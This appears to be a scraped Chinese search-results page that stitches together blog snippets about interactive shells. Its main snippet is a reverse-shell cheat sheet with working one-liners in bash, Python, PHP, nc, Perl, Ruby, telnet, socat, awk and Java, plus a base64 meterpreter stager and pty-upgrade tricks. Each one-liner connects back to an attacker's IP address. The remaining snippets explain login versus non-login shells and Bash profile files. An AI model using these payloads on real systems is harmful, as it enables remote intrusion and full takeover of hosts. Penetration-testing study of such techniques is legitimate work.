精华内容
下载资源
问答
  • Nubia:是一个用Python构建命令行和交互式shell应用的轻量级框架
  • 用于常见 Kali Linux 渗透测试任务的交互式 shell 咨询 这个应用程序是Alpha,所以要小心。 从现在到 Beta 版本 v0.1,我将进行重大更改。 特征 请参阅维基: : 安装 更改目录并克隆: cd /opt;git clone ...
  • 交互式shell

    2019-09-23 15:18:08
    如果你的bash shell不是系统登录时启动的(比如实在命令行提示符下符来敲入bash时启动),那么你启动的shell叫作交互式shell交互式shell不会像登录 shell 一样运行,但他依然提供了; 命令行提示来输入命令。 ...

    如果你的bash shell不是系统登录时启动的(比如实在命令行提示符下符来敲入bash时启动),那么你启动的shell叫作交互式shell。交互式shell不会像登录shell一样运行,但他依然提供了; 命令行提示来输入命令。

    如果bash作为交互式shell启动的他就不会访问/etc/profile文件,只会检查用户home目录中的.bashrc。在centos  Linux系统上    这个文件看起来如下`
    
    $cat.bashrc
    
    #.bashrc
    #.Source    global definitions
    if [ -f /etc/bashrc ] ; then
    fi
    #  User specific aliases and functions
    $
    
    

    .bashrc文件有两个作用:一是查看/etc目录下通用的bashrc文件,二是为用户提供一个定制自己的命令别名和私有脚本函数的地方

    展开全文
  • bash反弹shell 接收端:nc -lvvp 端口 发送端:bash -i >& /dev/tcp/接收端IP/接收端端口 0>&1 python反弹shell 接收端:nc -lvvp 端口 发送端:python -c 'import socket,subprocess,os;s=socket....

    反弹shell

    bash反弹shell

    接收端:nc -lvvp 端口
    
    发送端:bash -i >& /dev/tcp/接收端IP/接收端端口 0>&1
    

    python反弹shell

    1

    接收端:nc -lvvp 端口
    
    发送端:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端IP",接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

    2

    接收端:nc -lvvp 端口
    
    发送端:python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('接收端IP',端口))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
    

    msf版

    msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234
    import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))
    
    base64解码
    import socket,struct
    s=socket.socket(2,1)
    s.connect(('192.168.90.1',1234))
    l=struct.unpack('>I',s.recv(4))[0]
    d=s.recv(4096)
    while len(d)!=l:
        d+=s.recv(4096)
    exec(d,{'s':s})
    

    php反弹shell

    接收端:nc -lvvp 端口
    
    发送端:php -r '$sock=fsockopen("接收端IP",接收端端口);exec("/bin/sh -i <&3 >&3 2>&3");'
    

    代码假设TCP连接的文件描述符为3,如果不行可以试下4,5,6

    还有 kali自带的php反弹shell (php-reverse-shell.php)也可以

    nc反弹shell

    接收端:nc -lvvp 端口
    
    发送端:nc 接收端IP 接收端端口 -e /bin/bash 2>&1>/dev/null &
    

    nc 没有-e的参数时

    接收端:nc -lvvp 端口
    
    发送端:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 接收端IP 端口 >/tmp/f
    

    简单的解释:

    mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

    类似的命令:

    mknod backpipe p; nc 接收端IP 端口 0<backpipe | /bin/bash 1>backpipe 2>backpipe
    

    perl反弹shell

    接收端:nc -lvvp 端口
    
    发送端:perl -e 'use Socket;$i="接收端IP";$p=接收端端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    

    ruby反弹shell

    接收端:nc -lvvp 端口
    
    发送端:ruby -rsocket -e'f=TCPSocket.open("接收端IP",接收端端口).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
    

    talnet反弹shell(nc不可用或/dev/tcp不可用时)

    1

    接收端:nc -lvvp 端口
    
    发送端:mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe
    

    2

    接收端:nc -lvvp 端口1  输入命令
    
    接收端:nc -lvvp 端口2 查看命令执行的结果
    
    发送端:telnet 接收端IP 端口1 | /bin/bash | telnet 接收端IP 端口2
    

    socat反弹shell

    接收端:nc -lvvp 端口
    
    发送端:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:接收端IP:端口
    

    awk反弹shell

    接收端:nc -lvvp 端口
    
    awk 'BEGIN{s="/inet/tcp/0/接收端IP/接收端端口";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
    

    java反弹shell

    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/接收端IP/端口;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
    p.waitFor()
    

    xterm

    反向外壳的最简单形式之一是xterm会话。以下命令应在服务器上运行。

    它将尝试通过TCP端口6001重新连接到您(10.0.0.1)。

    xterm -display 10.0.0.1:1
    

    要捕获传入的xterm,请启动X服务器(:1 –侦听TCP端口6001)。一种方法是使用Xnest(在您的系统上运行):

    Xnest:1
    

    您需要授权目标连接到您(命令也在主机上运行):

    xhost + targetip
    

    交互式shell

    python导入pty模块

    python -c 'import pty;pty.spawn("/bin/bash")'
    

    socat直接反弹pty交互式shell

    攻击机:

    socat TCP-LISTEN:端口 -
    

    靶机:

    exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机IP:端口
    

    靶机安装socat二进制文件

    https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

    本质

    https://xz.aliyun.com/t/2548 Linux反弹shell(一)文件描述符与重定向
    https://xz.aliyun.com/t/2549 Linux反弹shell(二)反弹shell的本质

    展开全文
  • 首先我们需要把bash理解为一种模式,我们不如把这种模式想象成类似于洋葱一样的结构,我们可以一层一层剥开,也就是说我们可以一层一层的进入子shell。就好比我们进入一栋楼,打开一个房间是一个环境,在当前这个...

     首先我们需要把bash理解为一种模式,我们不如把这种模式想象成类似于洋葱一样的结构,我们可以一层一层剥开,也就是说我们可以一层一层的进入子shell。就好比我们进入一栋楼,打开一个房间是一个环境,在当前这个房间我们又看到了一个门,当我们打开这个门的时候,我们就已经进入了新的环境,也就是新的bash中。这牵扯到一个父shell和子shell的问题。

     用户登录到Linux系统后,系统将启动一个用户shell。在这个shell中,可以使用shell命令或声明变量,也可以创建并运行 shell脚本程序。运行shell脚本程序时,系统将创建一个子shell。此时,系统中将有两个shell,一个是登录时系统启动的shell,另一 个是系统为运行脚本程序创建的shell。当一个脚本程序运行完毕,它的脚本shell将终止,可以返回到执行该脚本之前的shell。从这种意义上来 说,用户可以有许多 shell,每个shell都是由某个shell(称为父shell)派生的。
     在子 shell中定义的变量只在该子shell内有效。如果在一个shell脚本程序中定义了一个变量,当该脚本程序运行时,这个定义的变量只是该脚本程序内 的一个局部变量,其他的shell不能引用它,要使某个变量的值可以在其他shell中被改变,可以使用export命令对已定义的变量进行输出。 export命令将使系统在创建每一个新的shell时定义这个变量的一个拷贝。这个过程称之为变量输出。
    同时,在我们使用shell的同时,我们应该清楚shell的一些配置文件的存放位置,按照范围来分,可以分为两种:

    (1)全局配置:

    /etc/profile
    /etc/profile.d/*.sh
    /etc/bashrc

    (2)个人配置:

    ~/.bash_profile
    ~/.bashrc

     我们可以根据shell是否是交互式和shell是否是登录式这两个维度,来对shell进行分类。

    交互式shell和非交互式shell(interactive shell and non-interactive shell)

     交互式模式就是在终端上执行,shell等待你的输入,并且立即执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。
     shell也可以运行在另外一种模式:非交互式模式,以shell script(非交互)方式执行。在这种模式 下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾EOF,shell也就终止了。

     举个例子,最常见的交互式shell,就是我们利用虚拟机登录Linux系统时的那个等待登录界面,大概如下图所示:

    系统在等待我们键入登录的用户名和密码,这就是一种交互式shell,而非交互式shell就像我们写的那些很简单的脚本,比如一个脚本展示出:helloworld。这个脚本不需要我们对其进行交互,它就只是很简单的将其脚本中的命令按顺序执行。

    登录式shell和非登录式shell

      登录shell:是需要用户名、密码登录后才能进入的shell(或者通过--login”选项生成的shell)。
    非登录shell:当然就不需要输入用户名和密码即可打开的Shell,例如:直接命令“bash”就是打开一个新的非登录shell,在Gnome或KDE中打开一个“终端”(terminal)窗口程序也是一个非登录shell。
    执行exit命令,退出一个shell(登录或非登录shell);
    执行logout命令,退出登录shell(不能退出非登录shell)。

    交互式登录shell和非交互式登录shell的区别

    交互式登录:(清除掉所有变量,通过文件重新读入)
    (1)直接通过终端输入账号密码登录
    (2)使用“su - UserName”切换的用户
    执行顺序:(影响该shell的配置文件)
    /etc/profile --> /etc/profile.d/*.sh --> ~/.bash_profile--> ~/.bashrc--> /etc/bashrc

    非交互式登录:(会继承上一个shell的全部变量)
    (1)su UserName
    (2)图形界面下打开的终端
    (3)执行脚本   (当我们执行脚本的时候.我们就已经进入到了一个子shell)
    (4)任何其它的bash实例
    执行顺序:(影响该shell的配置文件)

    ~/.bashrc--> /etc/bashrc--> /etc/profile.d/*.sh

     使用./test.sh或者 bash ./test.sh执行脚本的时候,是开启一个子shell,这个子shell能继承上一个父shell的变量,而这个子shell的变量,随着子shell的退出而消失。当我们用. test.sh 或者source test.sh时,不开启子shell,在当前shell运行,子shell中的所有值都影响当前。

     一般我们对shell进行一些配置的时候,通常都是对~/.bashrc 和/etc/bashrc这两个文件进行一些配置。

    展开全文
  • 在解读shell之前要把bash理解一下,把它看成一种多层的模式。要清楚shell并不是某一个时间里只能存在一个的。打个比方就是,比如我们进入一个房子,看到门,打开门进去就是进入了一个环境,但是在这里我们又发现一扇...

    在解读shell之前要把bash理解一下,把它看成一种多层的模式。要清楚shell并不是某一个时间里只能存在一个的。打个比方就是,比如我们进入一个房子,看到门,打开门进去就是进入了一个环境,但是在这里我们又发现一扇门,当我们打开这扇门进去的时候,就进入了新的环境了,这里就是新的bash。

    用户登录linux之后,系统会启动一个用户shell,在这个shell里,可以使用shell命令或者声明变量,也可以创建shell脚本去运行。当运行shell脚本的时候,系统会创建一个子shell。此时,系统有两个shell,一个是登录时系统启动的shell,一个是系统运行脚本所创建的shell,当这个脚本执行完毕了,这个脚本shell就终止了,也就返回到了执行该脚本之前的shell。证明了用户可以有很多shell,每个shell都是由父shell派生的。

    注意子shell中定义的变量只在该子shell内有效。如果在一个shell脚本程序中定义了一个变量,这个变量只能是这个脚本的局部变量,在其他shell不可用。

    Shell的一些配置文件的存放位置,按照范围可以分成两种:

    1.全局配置
    /etc/profile
    /etc/profile.d/*.sh
    /etc/bashrc

    2.个人配置
    ~/.bash_profile
    ~/.bashrc

    一般情况下,我们都是直接针对全局配置进行操作。

    交互式shell和非交互式shell

    shell可以通过交互式shell和非交互式shell两个维度进行分类

    1.交互式:在终端上执行,shell等待着输入,并且立刻执行我们提交的命令。为什么叫做交互式呢?因为shell是直接与用户进行交互的。这种模式是我们平时一直在用的,登录、执行命令、退出。当退出之后,shell也就停止了。
    2.非交互式:shell script模式,shell不直接和用户进行交互,而是读取存放在文件里的命令去执行他们,当读到结尾的EOF,shell就停止了。也就是用脚本。

    登录式shell和非登陆式shell

    登录shell:需要用户名、密码登录之后才能进入的shell
    非登陆shell:直接不用输入用户名和密码就可以打开的shell

    交互式登录shell和非交互式登录shell

    交互式登录(清除所有变量,通过文件重新读入):
    1.直接通过终端输入账号密码登录
    2.使用“su -UserName”切换的用户
    执行顺序:(影响该shell的配置文件)
    /etc/profile --> /etc/profile.d/*.sh --> ~/.bash_profile–> ~/.bashrc–> /etc/bashrc

    非交互式登录(会继承上一个shell的全部变量):
    1.su UserName
    2.图形界面下打开终端
    3.执行脚本(进入子shell)
    4.任何其他的bash实例
    执行顺序:(影响该shell的配置文件)
    ~/.bashrc–> /etc/bashrc–> /etc/profile.d/*.sh

    始祖环境变量

    登录系统后,首个执行的应用程序bash(登录shell)所创建的一堆全局环境变量,它们称为始祖环境变量。
    这一堆环境变量的生命周期是永久的。启动shell会执行/etc/profile,导出一些通用全局环境变量,export PATH USER LOGNAME MAIL HOSTNAME等。
    所有用户的shell进程都可以访问到这些变量,我们可以在里面添加系统级别的环境变量。然后再依次执行/.bash_profile、/.bash_login、/.profile或者./bashrc,或者/etc/bashrc ,来初始化一些用户特有的环境变量,需要注意的是后面几个文件不一定都存在。

    全局环境变量的一般使用方法

    1.比如在交互式shell中输入export A=“111”,那么今后在该控制台中,直接或间接执行的shell,都将会继承该控制台留下来的全局环境变量。
    2.有两个非交互式shell——a.sh和b.sh
    a.sh中执行了b.sh
    b.sh中执行了export B=“123”

    现在执行a.sh,那么b.sh是其子shell,所以B这个环境变量对a.sh不起作用。证明了全局环境变量只能由创建者shell传给子孙shell

    局部环境变量

    不用export导出的环境变量,通常作为脚本的私有变量。作用域仅仅是创建者shell本身。父shell和子shell都无法访问。

    参考:

    https://blog.csdn.net/gui951753/article/details/79154496
    https://blog.csdn.net/qq_28992301/article/details/53575041

    展开全文
  • 为了能正常的使用vim,需要将普通的shell提升为全交互式shell(就跟正常的linux终端一样)。 环境 攻击机:kali 靶机:ubuntu 普通Shell 给kali弹shell bash -i >& /dev/tcp/192.168....
  • 交互式shell和非交互式shell、登录shell和非登录shell的区别。 首先,这是两个不同的维度来划分的,一个是是否交互式,另一个是是否登录。 交互式shell和非交互式shell 交互式模式就是shell等待你的输入,并且...
  • DNS Shell是DNS通道上的交互式Shell。 该服务器基于Python,可以在安装了python的任何操作系统上运行,有效负载是已编码的PowerShell命令。 了解DNS Shell 有效负载是在调用服务器脚本时生成的,它仅利用nslookup来...
  • Yii 2的交互式Shell扩展 该扩展为基于提供了一个交互式shell。 有关许可证信息,请检查文件。 安装 安装此扩展的首选方法是通过 。 无论运行 composer require yiisoft/yii2-shell 或添加 " yiisoft/yii2-shell " ...
  • Linux——实现简单的交互式shell

    千次阅读 2020-03-26 16:29:47
    实现简单的交互式shell 使用已学习的各种C函数实现一个简单的交互式Shell,要求: 1、给出提示符,让用户输入一行命令,识别程序名和参数并调用适当的exec函数执行程序,待执行完成后再次给出提示符。 2、该程序...
  • 今天小编就为大家分享一篇python获取交互式ssh shell的方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
  • 主要介绍了Python3交互式shell ipython3安装及使用详解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
  • 然后一顿操作把一个简单的shell就升级到了一个标准交互式shell 写这篇文章记录一下 正文 攻击机:kali 靶机:ubuntu 首先ubuntu建一个新用户:test,密码 test 普通Shell 给kali弹shell bash -i >& /dev/tcp/...
  • 交互式shell(Interactive Shells)

    千次阅读 2019-11-09 15:16:14
    本文来自于: ...在linux系统中,我们打开terminal就是开启了一个Bash进程,也就是开启了一个shell,此时的shell就是interactive shell。 下图就开启了一个interactive shell。echo $-时包含i ...
  • 在AWS Lambda上运行交互式Shell命令 动机 这个项目的主要动机是要有一种方便的方法 “环顾” AWS Lambda环境 能够在AWS上拥有一个“最小”的外壳环境,而不必使用成本更高的EC2实例 在AWS Lambda环境中进行一些实验...
  • Solid-shell(以下称为Sol)是用于访问Solid文件和​​文件夹的nodejs工具,这些文件和文件夹可以作为交互式Shell,批处理程序以及在命令行上运行。 它为提供了一个前端,并支持在远程Pod,本地文件系统以及两者...
  • 交互式shell和非交互式shell、登录…

    千次阅读 2014-11-25 18:11:31
    交互式shell和非交互式shell、登录shell和非登录shell的区别。 首先,这是两个不同的维度来划分的,一个是是否交互式,另一个是是否登录。 交互式shell和非交互式shell 交互式模式就是shell等待你的输入,并且...
  • Thunder BoltDB的交互式Shell安装确保您具有正常的Go环境(需要Go 1.6或更高版本)。 请参阅安装说明。 要安装Thunder,只需运行:go get github.com/muesli/thun Thunder BoltDB的Interactive Shell安装确保您具有...
  • 有如下几种调用Bash进入交互式Shell的方式: 没有任何非选项参数 $ bash $ PS1=">> " # 此处进入了交互式的子Shell里 >> exit # 退出子Shell exit $ 用-s选项,但不能用-c选项. 这种方式也可以进入...
  • 交互式shell

    2019-09-23 15:58:45
    系统执行shell脚本时用的就是这种shell。不同的地方在于他没有命令行提示符。但是当你在系统上运行脚本的时,...当shell启动一个非交互式shell进程时,他会检查这个环境变量来查看要执行的启动文件。如果有指定的文...
  • vsh是交互式 Shell,可处理路径和密钥,例如目录和文件。 核心功能是: 在具有cp , mv或rm路径上进行递归操作 用grep搜索(子字符串或正则表达式) 用replace键和/或值(子字符串或正则表达式)中的模式 KV1和KV...
  • 更多信息gitsh程序是git的交互式shell。 在gitsh中,即使使用本地别名和配置,您也可以发出任何git命令。 有关gitsh的快速介绍,请观看我们关于Upcase的视频。 有关更多文档,您可以通过在终端中运行man gitsh来查看...
  • Java代码里通过ssh连接去调用执行shell,即使是简单常用的命令也无法执行,如下图报错: 这个是由于profile的原因。需在自己的命令前载入Linux的环境变量设置。 eg: "source /etc/profile;source ~/.bash_...
  • Elvish:友好的交互式Shell和表达性编程语言Elvish是友好的交互式Shell和表达性编程语言。 它可以在Linux,BSD,macOS和Windows上运行。 尽管Elvish处于1.0之前的状态,它还是一种友好的交互式Shell和表达性编程语言...
  • aws-session与协同工作,以提供一个交互式Shell会话,其中临时AWS凭证可用于其他工具(包括AWS CLI本身)。 主要用途是通过启用了的IAM帐户访问AWS服务。 在受支持的shell( bash , zsh )中,它还增强了shell提示...
  • Spring Shell 3是一项仅依赖于Spring Boot 2.x的工作,并且不尝试与旧版Spring Shell 1.x或Spring Boot 1.x保持任何向后兼容性。 建造 ./mvnw package 跑步 该项目附带一个示例应用程序,展示了您可以编写命令的...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 92,191
精华内容 36,876
关键字:

交互式shell